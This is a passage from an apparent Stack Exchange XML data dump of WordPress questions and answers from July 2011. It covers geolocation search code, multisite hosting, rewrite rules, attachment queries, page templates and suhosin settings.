(is_array($radial_result)) :&#xA;        if ($radial_result['address']) $location = $radial_result['address'];&#xA;        $find_posts_in = $radial_result['location'];&#xA;    endif;&#xA;&#xA;    $location_heading = __('Therapists within ','therapists').' '.$radius;&#xA;    $location_heading .= ' Miles '; &#xA;    $location_heading .= __('of','therapists').' '.ucwords($location);&#xA;&#xA;endif;&#xA;&#xA;if (!$term_heading &amp;amp;&amp;amp; !$location_heading) $term_heading = 'Search Results';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;jr_radial_search function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function jr_radial_search($location, $radius) {&#xA;global $wpdb, $app_abbr, $geo_latitude, $geo_longitude;&#xA;if (function_exists('json_decode') &amp;amp;&amp;amp; isset($location)) :&#xA;&#xA;    if (!$radius) $radius = 50;&#xA;&#xA;    // KM/Miles&#xA;    if (get_option($app_abbr.'_distance_unit')=='km') $radius = $radius / 1.609344;&#xA;&#xA;$jr_gmaps_lang = get_option('jr_gmaps_lang');&#xA;    $jr_gmaps_region = get_option('jr_gmaps_region');&#xA;//$jr_gmaps_lang = 'English';&#xA;//$jr_gmaps_region = 'United States';&#xA;&#xA;    $address = &quot;http://maps.google.com/maps/geo?q=&quot;.urlencode($location).&quot;&amp;amp;output=json&amp;amp;language=&quot;.$jr_gmaps_lang.&quot;&amp;amp;region=&quot;.$jr_gmaps_region.&quot;&quot;;&#xA;    //&amp;amp;key=$key&#xA;&#xA;    $cached = wp_cache_get( 'geo_'.urlencode($location) );&#xA;&#xA;    if ($cached) :&#xA;        $address = $cached;&#xA;    else :&#xA;        $address = json_decode((file_get_contents($address)), true);&#xA;        if (is_array($address)) wp_cache_set( 'geo_'.urlencode($location) , $address ); &#xA;    endif;&#xA;&#xA;    if (is_array($address)) :&#xA;&#xA;        $full_address = $address['Placemark'][0]['address'];&#xA;&#xA;        if (isset($address['Placemark'][0]['Point']['coordinates'][0]) &amp;amp;&amp;amp; isset($address['Placemark'][0]['Point']['coordinates'][1])) :&#xA;&#xA;            $longitude = $address['Placemark'][0]['Point']['coordinates'][0];&#xA;            $latitude = $address['Placemark'][0]['Point']['coordinates'][1];&#xA;&#xA;            $lng_min = $longitude - $radius / abs(cos(deg2rad($latitude)) * 69);&#xA;            $lng_max = $longitude + $radius / abs(cos(deg2rad($latitude)) * 69);&#xA;            $lat_min = $latitude - ($radius / 69);&#xA;            $lat_max = $latitude + ($radius / 69);&#xA;&#xA;            $results1 = $wpdb-&amp;gt;get_col(&quot;&#xA;                SELECT ID&#xA;                FROM $wpdb-&amp;gt;posts WHERE post_type = 'post'&#xA;                LEFT JOIN $wpdb-&amp;gt;postmeta ON $wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;postmeta.post_id&#xA;                WHERE meta_key = 'geo_latitude' &#xA;                AND (meta_value+0) between ($lat_min) AND ($lat_max);&#xA;            &quot;);&#xA;            $results2 = $wpdb-&amp;gt;get_col(&quot;&#xA;                SELECT ID&#xA;                FROM $wpdb-&amp;gt;posts WHERE post_type = 'post'&#xA;                LEFT JOIN $wpdb-&amp;gt;postmeta ON $wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;postmeta.post_id&#xA;                WHERE meta_key = 'geo_longitude'&#xA;                AND (meta_value+0)  between ($lng_min) AND ($lng_max);&#xA;            &quot;);&#xA;&#xA;            $posts = array_intersect($results1, $results2);&#xA;&#xA;            return array('address' =&amp;gt; $full_address, 'post' =&amp;gt; $posts);&#xA;        endif;&#xA;    endif;&#xA;&#xA;endif;&#xA;return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know why this isn't working properly? thanks&lt;/p&gt;&#xA;" OwnerUserId="6027" LastEditorUserId="6027" LastEditorDisplayName="" LastEditDate="2011-07-05T19:11:30.257" LastActivityDate="2011-07-05T19:11:30.257" Title="Geolocation search based on custom field lat/lng fields and within specific category" Tags="&lt;search&gt;" />
  <row Id="22062" PostTypeId="2" ParentId="19215" CreationDate="2011-07-05T17:55:54.380" Score="1" ViewCount="" Body="&lt;p&gt;The main problem is that you're using GoDaddy shared hosting to host 60-site multi-site systems and still expecting it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GoDaddy shared hosting is not appropriate for this kind of setup. Once you get past the 5-6 sites range, you need a dedicated server for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get a better hosting account. Pay for it.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-05T17:55:54.380" />
  <row Id="22063" PostTypeId="2" ParentId="11356" CreationDate="2011-07-05T17:59:28.150" Score="0" ViewCount="" Body="&lt;p&gt;I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'the_content', 'wpautop' );&#xA;add_filter( 'the_content', 'wpautop' , 12);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The filter works but messes up Contact Form 7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the plugin code and it worked perfect!&lt;/p&gt;&#xA;" OwnerUserId="6764" LastActivityDate="2011-07-05T17:59:28.150" />
  <row Id="22064" PostTypeId="2" ParentId="22060" CreationDate="2011-07-05T18:08:18.410" Score="5" ViewCount="" Body="&lt;p&gt;There is a significant amount of memory usage if you use the $wpdb for queries that return very large result sets. $wpdb loads the entire results from any given query into memory. So if you're, say, selecting all the posts, then it'll try to load the whole thing into memory immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for something like a backup plugin, direct calls to mySQL with loops for retrieving the data make more sense.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-05T18:08:18.410" CommentCount="2" />
  <row Id="22065" PostTypeId="2" ParentId="22060" CreationDate="2011-07-05T18:17:34.110" Score="1" ViewCount="" Body="&lt;p&gt;Just in case someone reads the Q: &lt;a href=&quot;http://pastebin.com/aYk8Q9t4&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; you got a pastebin from the &lt;code&gt;global $wpdb&lt;/code&gt; object and &lt;a href=&quot;http://pastebin.com/jMCsrtez&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; you got a little memory useage tracing function. Any comment on the function is appreciated as it's not tested so far.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-05T18:17:34.110" />
  <row Id="22066" PostTypeId="2" ParentId="9596" CreationDate="2011-07-05T18:21:57.397" Score="0" ViewCount="" Body="&lt;p&gt;create file .htaccess use notepad, type : &#xA;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy this file in your folder hosting&lt;/p&gt;&#xA;" OwnerUserId="6765" LastActivityDate="2011-07-05T18:21:57.397" />
  <row Id="22067" PostTypeId="1" AcceptedAnswerId="22068" CreationDate="2011-07-05T18:26:56.777" Score="0" ViewCount="50" Body="&lt;p&gt;The Browse Happy interruption would only appear to logged-in admin users, correct?  It won't show up on my public facing site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't really fire up IE6 very easily to find out.&lt;/p&gt;&#xA;" OwnerUserId="6668" LastActivityDate="2011-07-05T18:29:51.090" Title="Browse Happy in 3.2" Tags="&lt;wp-admin&gt;&lt;admin&gt;&lt;wordpress-version&gt;" AnswerCount="1" />
  <row Id="22068" PostTypeId="2" ParentId="22067" CreationDate="2011-07-05T18:29:51.090" Score="2" ViewCount="" Body="&lt;p&gt;Yes, it always was and still is only showing in the admin area.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-05T18:29:51.090" CommentCount="3" />
  <row Id="22069" PostTypeId="1" CreationDate="2011-07-05T18:51:25.907" Score="0" ViewCount="55" Body="&lt;p&gt;the files  is a .ppt and .pdf file (not an image)&#xA;will it be possible to query   these types of attachments and output it in a undordered list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tips or any stuff that can help is appreciated&lt;/p&gt;&#xA;" OwnerUserId="3764" LastActivityDate="2011-07-05T19:03:25.583" Title="is it possible to query specific wordpress attachment files(.ppt &amp; .pdf) and output it in a list?" Tags="&lt;attachments&gt;" AnswerCount="1" />
  <row Id="22071" PostTypeId="2" ParentId="22069" CreationDate="2011-07-05T19:03:25.583" Score="1" ViewCount="" Body="&lt;p&gt;I don't think it's documented in Codex but quick search in code shows that you can query by mime type. For jpeg images that would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = get_posts( array(&#xA;            'post_type' =&amp;gt; 'attachment',&#xA;            'post_status' =&amp;gt; 'any',&#xA;            'post_mime_type' =&amp;gt; 'image/jpeg',&#xA;&#xA;             ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure what types WP uses for files you need, don't have such in test stack to check.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-05T19:03:25.583" CommentCount="4" />
  <row Id="22072" PostTypeId="1" CreationDate="2011-07-05T19:30:10.597" Score="0" ViewCount="16" Body="&lt;p&gt;I'd like to auto collapse all but the currently expanded sidebar widget container. I imagine this might be a bit complicated but I'm asking in case its approachable enough to devote a few lines of code to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first sidebar container is always open when I hit the widgets panel, then if I open another one to work on, I have to manually close the top one each time to avoid vertical scrolling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like it to toggle all shut whenever another widget's expand/toggle event has been triggered.&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-07-05T19:30:10.597" Title="How to toggle all sidebar container's closed except the last expanded one" Tags="&lt;theme-development&gt;&lt;widgets&gt;" />
  <row Id="22073" PostTypeId="1" AcceptedAnswerId="22079" CreationDate="2011-07-05T19:31:39.443" Score="0" ViewCount="34" Body="&lt;p&gt;I'm creating my own wordpress theme. I've decided to use a different way to handle the theming and not use the standard get_header() and so functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i do is have a general main.php page that is loaded by every page like blog.php, index.php, page.php and more. This main page, will be then responsible for creating the necessary templates and presenting the related page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, i would ideally want to create sort of like the standard switch that includes files, like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = isset($_REQUEST['page']) ? $_REQUEST['page'] : 'home';&#xA;&#xA;switch($page)&#xA;{&#xA;    case 'home':           break;&#xA;    case 'mail':           break;&#xA;    case 'contact':        break;&#xA;    default:&#xA;        $page = 'home';&#xA;}&#xA;&#xA;include(&quot;$page.php&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i do such a thing for wordpress ? Is there a clean way to know whether an included page is a blog.php, a single.php or other page, so that i can distinguish them?&lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-07-05T20:08:36.497" Title="Custom Wordpress File Inclusion" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="22075" PostTypeId="1" CreationDate="2011-07-05T19:48:42.517" Score="0" ViewCount="26" Body="&lt;p&gt;I am using the category description as keywords that I will use as a variable that I output as my custom field values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would like to add to value after they have been submitted for unique posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat_description1 = &quot;value 1, value 2, value 3, value 4, value 5&quot;;&#xA;&#xA;$cat_description2 = &quot;value 1, value 2, value 3, value 4, value 5&quot;;&#xA;&#xA;$cat_description3 = &quot;value 1, value 2, value 3, value 4, value 5&quot;;&#xA;&#xA;$cat_description4 = &quot;value 1, value 2, value 3, value 4, value 5&quot;;&#xA;&#xA;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&amp;lt;?php echo $cat_description ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upon editing a post, the expected value of $cat_description1, then I would have to update the post to save the value. The issue Im having is what will I do if I need to add values onto this particular post, along with the existing value of $cat_description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to add new values to that field, even after updating the post only the variable value will be saved. How do I add onto the existing value of the post? Or is there another way of outputting the value of a variable as a custom field value and also having the option to add onto the value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate some help with this. Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-07-05T19:48:42.517" Title="Using Category Description for keywords" Tags="&lt;posts&gt;&lt;custom-field&gt;&lt;updates&gt;&lt;variables&gt;" CommentCount="2" />
  <row Id="22076" PostTypeId="1" AcceptedAnswerId="22077" CreationDate="2011-07-05T19:48:57.120" Score="1" ViewCount="113" Body="&lt;p&gt;How to replace &quot;wp-content/blogs.dir&quot; with &quot;media&quot; for attachment permalinks in a multisite environment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how links look now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://url.com/wp-content/blogs.dir/21/files/2011/06/650026_x640_21.jpg&quot; rel=&quot;nofollow&quot;&gt;http://url.com/wp-content/blogs.dir/21/files/2011/06/650026_x640_21.jpg&lt;/a&gt;&#xA;&lt;em&gt;-or-&lt;/em&gt;&#xA;&lt;a href=&quot;http://subdomain.url.com/wp-content/blogs.dir/21/files/2011/06/650026_x640_21.jpg&quot; rel=&quot;nofollow&quot;&gt;http://subdomain.url.com/wp-content/blogs.dir/21/files/2011/06/650026_x640_21.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally this is how the would look:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://url.com/media/2011/06/650026_x640_21.jpg&quot; rel=&quot;nofollow&quot;&gt;http://url.com/media/2011/06/650026_x640_21.jpg&lt;/a&gt;&#xA;&lt;em&gt;-or-&lt;/em&gt;&#xA;&lt;a href=&quot;http://subdomain.url.com/media/2011/06/650026_x640_21.jpg&quot; rel=&quot;nofollow&quot;&gt;http://subdomain.url.com/media/2011/06/650026_x640_21.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-07-05T21:28:32.120" Title="How to replace &quot;wp-content/blogs.dir&quot; with &quot;media&quot; for attachment permalinks?" Tags="&lt;permalinks&gt;&lt;attachments&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="22077" PostTypeId="2" ParentId="22076" CreationDate="2011-07-05T19:55:48.957" Score="2" ViewCount="" Body="&lt;p&gt;Actually ... the &lt;code&gt;blogs.dir&lt;/code&gt; part isn't used except for internally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you have a network with two sites - &lt;code&gt;http://url.com&lt;/code&gt; and &lt;code&gt;http://sub.url.com&lt;/code&gt;.  The files will be located in (respectively):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;http://url.com/files/2011/06/...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;http://sub.url.com/files/2011/06/...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;blogs.dir&lt;/code&gt; directory is where the images exist physically, yes, but your &lt;code&gt;.htaccess&lt;/code&gt; file is routing the virtual directories I just listed above to the correct location.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing you're manually putting together the URLs you reference above ... because that's not how Multisite is set up to work by default.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I just tested this on my own network installation to give you a specific example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main blog is &lt;a href=&quot;http://mindsharestrategy.com&quot; rel=&quot;nofollow&quot;&gt;http://mindsharestrategy.com&lt;/a&gt; (custom domain mapped to a subdomain network installation - &lt;a href=&quot;http://business.eamann.com&quot; rel=&quot;nofollow&quot;&gt;http://business.eamann.com&lt;/a&gt; is the same site).  A recent post with images: &lt;a href=&quot;http://mindsharestrategy.com/2011/how-to-publish-a-wordpress-plugin-subversion/&quot; rel=&quot;nofollow&quot;&gt;How to Publish a WordPress Plugin - Subversion&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first image in the post is: &lt;a href=&quot;http://mindsharestrategy.com/files/2011/05/checkout.png&quot; rel=&quot;nofollow&quot;&gt;http://mindsharestrategy.com/files/2011/05/checkout.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But an alternate link that &lt;em&gt;also&lt;/em&gt; works: &lt;a href=&quot;http://eamann.com/wp-content/blogs.dir/2/files/2011/05/checkout.png&quot; rel=&quot;nofollow&quot;&gt;http://eamann.com/wp-content/blogs.dir/2/files/2011/05/checkout.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress automatically maps the &lt;code&gt;/files&lt;/code&gt; directory for this site to &lt;code&gt;/wp-content/blogs.dir/2/files&lt;/code&gt; via the &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your image permalinks will work with the shortened version ... there's nothing you need to do there.  It sounds like your problem is actually with the way the &lt;code&gt;[gallery]&lt;/code&gt; shortcode outputs content.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-07-05T21:28:32.120" LastActivityDate="2011-07-05T21:28:32.120" CommentCount="4" />
  <row Id="22078" PostTypeId="2" ParentId="22073" CreationDate="2011-07-05T20:07:46.837" Score="1" ViewCount="" Body="&lt;p&gt;You can simply use the query for such a thing. In reality the different pages don't exist. The get only loaded if the template exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's enough to write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_home() || is_front_page() )&#xA;{&#xA;    // do stuff&#xA;}&#xA;elseif ( is_archive() )&#xA;    // etc.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-05T20:07:46.837" />
  <row Id="22079" PostTypeId="2" ParentId="22073" CreationDate="2011-07-05T20:08:36.497" Score="4" ViewCount="" Body="&lt;h2&gt;First, Why this is a &lt;em&gt;bad&lt;/em&gt; idea&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WordPress already provides a rich templating API that allows for other plugins to hook in to your theme where needed.  If a plugin needs to provide additional JavaScript or CSS, they tie in to &lt;code&gt;wp_head&lt;/code&gt;.  If they need to defer some JavaScript to the bottom of the page, they hook into &lt;code&gt;wp_footer&lt;/code&gt;.  If they add plugins, they use the built-in dynamic sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By completely bypassing the theme, you're essentially preventing the user from doing anything with their site that you haven't already built in to your display engine.  You're also throwing out about half of WordPress from the get-go.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;An alternative&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Instead, I suggest you work with the existing system.  WordPress provides a lot of hooks, template tags, and conditional flags that let you detect which page you're on and load different templates when needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a really good discussion of the general template hierarchy in &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;the Codex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set up a different page template for each page, then when you write the page in WordPress you just select the right template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So rather than &lt;code&gt;include(&quot;$page.php&quot;)&lt;/code&gt;, you'd have three files in your theme:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;page_home.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;page_mail.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;page_contact.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then, at the top of each of these files, you include the following header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: [YourPageTemplateName]&#xA; * Describe what the template is for&#xA; *&#xA; * @package [YourThemeName]&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, from &lt;code&gt;page_contact.php&lt;/code&gt; in my &quot;Stacked&quot; theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Contact&#xA; * This file handles contact pages.&#xA; *&#xA; * @package StackedTheme&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-07-05T20:08:36.497" CommentCount="4" />
  <row Id="22080" PostTypeId="2" ParentId="22076" CreationDate="2011-07-05T20:26:38.523" Score="0" ViewCount="" Body="&lt;p&gt;Take a look into core:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/wp-includes/ms-default-constants.php &amp;gt; line 21 : UPLOADBLOGSDIR&#xA;/wp-includes/ms-default-constants.php &amp;gt; line 27, 28 : BLOGUPLOADDIR&#xA;/wp-admin/includes/ms.php &amp;gt; line 91 ; apply_filters( 'wpmu_delete_blog_upload_dir', WP_CONTENT_DIR . &quot;/blogs.dir/{$blog_id}/files/&quot;, $blog_id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know much about WPMU/Network installs, that's such what come up from a cross file search.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-05T20:26:38.523" CommentCount="1" />
  <row Id="22081" PostTypeId="1" AcceptedAnswerId="22084" CreationDate="2011-07-05T20:28:10.813" Score="0" ViewCount="39" Body="&lt;p&gt;On my custom menus page, I'm getting a limit (e.g. the users cannot add more menu items). I have done some research and have found that my suhosin settings may not be allowing wordpress enough memory. What is the best way to fix the config so that my menus won't be limited?&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-05T21:03:41.500" Title="How to set up suhosin.ini for unlimited menus" Tags="&lt;custom-menus&gt;&lt;apache&gt;&lt;suhosin&gt;" AnswerCount="1" />
  <row Id="22082" PostTypeId="1" AcceptedAnswerId="22087" CreationDate="2011-07-05T20:33:58.517" Score="1" ViewCount="38" Body="&lt;p&gt;I have a listing wordpress site and want to integrate geo data into the Wordpress MySQL Database for custom search functionality&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to utilize different aspects to create different things...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;City values will become taxonomies&#xA;State values will become taxonomies&#xA;Zip Code values will become taxonomies&#xA;Latitude - will become custom fields &#xA;Longitude - will become custom fields&#xA;County will be come taxonomies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;City Taxonomy -&gt; City Taxonomy Terms&#xA;State Taxonomy -&gt; State Taxonomy Terms&#xA;Zip Code Taxonomy -&gt; Zip Code Taxonomy Terms&#xA;Latitude -&gt; Custom Field Value&#xA;Longitude -&gt; Custom Field Value&#xA;County Taxonomy -&gt; County Taxonomy Terms&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a couple sample entries from the SQL files I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DROP TABLE IF EXISTS `cities_extended`;&#xA;CREATE TABLE `cities_extended` (&#xA;`city` varchar(50) NOT NULL,&#xA;`state_code` char(2) NOT NULL,&#xA;`zip` int(5) unsigned zerofill NOT NULL,&#xA;`latitude` double NOT NULL,&#xA;`longitude` double NOT NULL,&#xA;`county` varchar(50) NOT NULL&#xA;) TYPE=MyISAM;&#xA;&#xA;INSERT INTO `cities_extended` VALUES ('Holtsville', 'NY', '00501', '40.8152',    '-73.0455', 'Suffolk');&#xA;INSERT INTO `cities_extended` VALUES ('Holtsville', 'NY', '00544', '40.8152', '-73.0455', 'Suffolk');&#xA;INSERT INTO `cities_extended` VALUES ('Adjuntas', 'PR', '00601', '18.1788', '-66.7516', 'Adjuntas');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this doable with Wordpress Database? Thanks&lt;/p&gt;&#xA;" OwnerUserId="6027" LastActivityDate="2011-07-05T21:15:31.337" Title="Importing Geo data into wordpress database" Tags="&lt;php&gt;&lt;mysql&gt;&lt;sql&gt;&lt;bulk-import&gt;" AnswerCount="1" />
  <row Id="22083" PostTypeId="1" CreationDate="2011-07-05T20:58:26.043" Score="0" ViewCount="31" Body="&lt;p&gt;I plan to use the category descriptions as outputted content into my posts for site user searches within my site, but I want to know when I make the site live to search engines will that presence of multiple category descriptions (duplicates) effect my seo in a negative way, i.e. getting blacklisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I will used the category description value in a custom field of a post, so that users can search the custom field of a post and get results of any posts with that category description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would just use the search everything plugin, but unfortunately it doesn't work together with the existing search fields of my particular theme. My theme's advanced search allows multiple fields searches at the same time, which I need for dual search criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This goes back to reason why Im outputting the category description into a custom field of my post. I need to include all post meta content to be searchable, but because my theme is limited in that area I have to use an altenative solution, by directly inputted the value into the post to that it can be searched through a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this negatively effect my search engine rankings? If there any tips or advice on other solutions for what Im trying to achieve please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-09-04T13:42:08.770" Title="Will multiple category descriptions effect my search engine optimization?" Tags="&lt;posts&gt;&lt;custom-field&gt;&lt;search&gt;&lt;seo&gt;" AnswerCount="1" />
  <row Id="22084" PostTypeId="2" ParentId="22081" CreationDate="2011-07-05T21:03:41.500" Score="0" ViewCount="" Body="&lt;p&gt;I found &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14134#comment:12&quot; rel=&quot;nofollow&quot;&gt;the answer&lt;/a&gt;, so I'm posting it to help others out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this file (depending on your server setup):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/php5/apache2/conf.d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change suhosin.ini on the following lines (remove the semicolons if applicable):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;suhosin.post.max_vars = 5000&#xA;suhosin.request.max_vars = 5000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The default 1000 will not work - 5000 seems to work well for my needs (so far!)&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-05T21:03:41.500" />
  <row Id="22085" PostTypeId="1" AcceptedAnswerId="22090" CreationDate="2011-07-05T21:09:45.020" Score="0" ViewCount="40" Body="&lt;p&gt;Anyone know any resources to help me install my widget when my plugin is activated?&lt;/p&gt;&#xA;" OwnerUserId="3491" LastActivityDate="2011-07-05T21:32:33.787" Title="Install widget on plugin activation" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;wordpress.org&gt;" AnswerCount="2" />
  <row Id="22087" PostTypeId="2" ParentId="22082" CreationDate="2011-07-05T21:15:31.337" Score="1" ViewCount="" Body="&lt;p&gt;To answer your question... Yes, it's doable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to give you some pointers into the right direction...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've known some folks who have had good success using the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-importer/&quot; rel=&quot;nofollow&quot;&gt;WordPress Importer&lt;/a&gt; plugin.  You could conceivably export your geo data from your database (using whatever DB management tool you're comfortable with) to the import format that this plugin expects.  Depending on your comfort level with PHP and DB schemas, you could even tweak this plugin to suit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since you're probably looking for a &quot;one time&quot; import, you might even whip up a PHP script and leverage the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_term&quot; rel=&quot;nofollow&quot;&gt;wp_insert_term&lt;/a&gt; function.  (Again, depending on your comfort with PHP).  This is probably how I'd do it.  In general, I'd create a DB connection to my geo database, loop all the records, and inside the loop use wp_insert_term (keeping track of which cities, states, zips I've already inserted if necessary so that I don't insert 20 &quot;Holtsville&quot; records).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So again... The answer is &quot;Yes&quot; definitely doable.  But it might take a little work.  Hope that helps a little.  Good luck on the project!&lt;/p&gt;&#xA;" OwnerUserId="6737" LastActivityDate="2011-07-05T21:15:31.337" CommentCount="2" />
